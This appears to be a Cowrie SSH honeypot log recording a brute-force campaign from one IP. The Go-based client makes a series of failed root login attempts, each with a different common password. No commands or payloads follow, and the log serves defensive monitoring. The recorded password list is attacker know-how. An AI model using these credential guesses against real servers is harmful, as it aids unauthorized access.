{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:39.353444Z","src_ip":"60.165.124.241","session":"bd9188cfafcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@Qwer","message":"login attempt [root/1234@Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:40.094548Z","src_ip":"60.165.124.241","session":"bd9188cfafcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:41.337653Z","src_ip":"60.165.124.241","session":"bd9188cfafcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54800,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebbdd43fc8b8","protocol":"ssh","message":"New connection: 60.165.124.241:54800 (10.17.0.5:22) [session: ebbdd43fc8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:41.582494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:41.587297Z","src_ip":"60.165.124.241","session":"ebbdd43fc8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:41.839437Z","src_ip":"60.165.124.241","session":"ebbdd43fc8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Azerty1234","message":"login attempt [root/Azerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:42.582383Z","src_ip":"60.165.124.241","session":"ebbdd43fc8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:43.825269Z","src_ip":"60.165.124.241","session":"ebbdd43fc8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57946,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ff713ef8f3","protocol":"ssh","message":"New connection: 60.165.124.241:57946 (10.17.0.5:22) [session: 99ff713ef8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:44.077104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:44.084998Z","src_ip":"60.165.124.241","session":"99ff713ef8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:44.328573Z","src_ip":"60.165.124.241","session":"99ff713ef8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa778899","message":"login attempt [root/Aa778899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:45.327964Z","src_ip":"60.165.124.241","session":"99ff713ef8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:46.584763Z","src_ip":"60.165.124.241","session":"99ff713ef8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89a75b00ece","protocol":"ssh","message":"New connection: 60.165.124.241:32902 (10.17.0.5:22) [session: f89a75b00ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:46.829372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:46.835138Z","src_ip":"60.165.124.241","session":"f89a75b00ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:47.090599Z","src_ip":"60.165.124.241","session":"f89a75b00ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cb@2017","message":"login attempt [root/cb@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:47.849788Z","src_ip":"60.165.124.241","session":"f89a75b00ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:49.104120Z","src_ip":"60.165.124.241","session":"f89a75b00ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35926,"dst_ip":"10.17.0.5","dst_port":22,"session":"38ec54e8b6cf","protocol":"ssh","message":"New connection: 60.165.124.241:35926 (10.17.0.5:22) [session: 38ec54e8b6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:49.357693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:49.366859Z","src_ip":"60.165.124.241","session":"38ec54e8b6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:49.622408Z","src_ip":"60.165.124.241","session":"38ec54e8b6cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Liu123456","message":"login attempt [root/Liu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:50.391690Z","src_ip":"60.165.124.241","session":"38ec54e8b6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:52.251455Z","src_ip":"60.165.124.241","session":"38ec54e8b6cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39588,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f08afe3e751","protocol":"ssh","message":"New connection: 60.165.124.241:39588 (10.17.0.5:22) [session: 1f08afe3e751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:52.499693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:52.504875Z","src_ip":"60.165.124.241","session":"1f08afe3e751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:52.757602Z","src_ip":"60.165.124.241","session":"1f08afe3e751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@abc","message":"login attempt [root/123456@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:53.520781Z","src_ip":"60.165.124.241","session":"1f08afe3e751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:55.386752Z","src_ip":"60.165.124.241","session":"1f08afe3e751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43476,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3a4505ff22","protocol":"ssh","message":"New connection: 60.165.124.241:43476 (10.17.0.5:22) [session: 3a3a4505ff22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:55.634264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:55.640816Z","src_ip":"60.165.124.241","session":"3a3a4505ff22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:55.879615Z","src_ip":"60.165.124.241","session":"3a3a4505ff22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Svc*2009","message":"login attempt [root/Svc*2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:56.598891Z","src_ip":"60.165.124.241","session":"3a3a4505ff22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:57.839915Z","src_ip":"60.165.124.241","session":"3a3a4505ff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46420,"dst_ip":"10.17.0.5","dst_port":22,"session":"648e9c99e918","protocol":"ssh","message":"New connection: 60.165.124.241:46420 (10.17.0.5:22) [session: 648e9c99e918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:58.073261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:58.077585Z","src_ip":"60.165.124.241","session":"648e9c99e918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:58.314610Z","src_ip":"60.165.124.241","session":"648e9c99e918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxXSW@","message":"login attempt [root/2wsxXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:06:59.032019Z","src_ip":"60.165.124.241","session":"648e9c99e918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:00.272246Z","src_ip":"60.165.124.241","session":"648e9c99e918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49196,"dst_ip":"10.17.0.5","dst_port":22,"session":"effe1347f813","protocol":"ssh","message":"New connection: 60.165.124.241:49196 (10.17.0.5:22) [session: effe1347f813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:00.501218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:00.507582Z","src_ip":"60.165.124.241","session":"effe1347f813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:00.744308Z","src_ip":"60.165.124.241","session":"effe1347f813","protocol":"ssh"}
